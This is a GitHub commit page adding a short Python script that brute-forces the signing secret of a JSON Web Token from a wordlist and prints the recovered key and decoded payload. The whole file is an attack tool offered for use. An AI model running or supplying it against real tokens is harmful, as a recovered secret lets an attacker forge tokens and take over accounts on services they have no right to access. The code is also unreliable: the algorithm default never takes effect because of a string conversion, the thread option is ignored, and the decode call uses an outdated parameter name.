Skip to content

Commit d6e1489

Browse files
authored
Create jwt-secret-bruteforce.py
1 parent 18d3950 commit d6e1489

File tree

1 file changed

+41
-0
lines changed

1 file changed

+41
-0
lines changed

jwt-secret-bruteforce.py

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
#!/usr/bin/env python3
2+
#
3+
# Python Script to bruteforce for Json Web Token Secret.
4+
#
5+
6+
from concurrent.futures import ThreadPoolExecutor as executor
7+
import argparse
8+
import jwt, sys
9+
10+
def crack(token, algo, secret):
11+
options = { 'verify_exp':False}
12+
try:
13+
payload = jwt.decode(token, secret, algorithm=algo, options=options)
14+
print("The Secret Key: "+secret)
15+
print("Payload: "+str(payload))
16+
except Exception:
17+
return False
18+
19+
20+
parser = argparse.ArgumentParser()
21+
22+
parser.add_argument("-t", dest="token", type=str, help="Json Web Token.", required=True)
23+
parser.add_argument("-w", dest="wordlist", type=str, help="Wordlist Of Secrets.", required=True)
24+
parser.add_argument("-c", dest="threads", type=int, help="Threds Number (Default: 10).")
25+
parser.add_argument("-a", dest="algo", type=str, help="The Algorithm (Default: HS256).")
26+
args = parser.parse_args()
27+
token = str(args.token)
28+
wlist = str(args.wordlist)
29+
threads = args.threads
30+
algo = str(args.algo)
31+
if threads == None:
32+
threads = 10
33+
if algo == None:
34+
algo = 'HS256'
35+
36+
secrets = open(wlist, 'r')
37+
with executor(max_workers=int(2)) as exe:
38+
[exe.submit(crack, token, algo, secret.strip('\n')) for secret in secrets]
39+
40+
41+
print("* Done! *")

0 commit comments

Comments
 (0)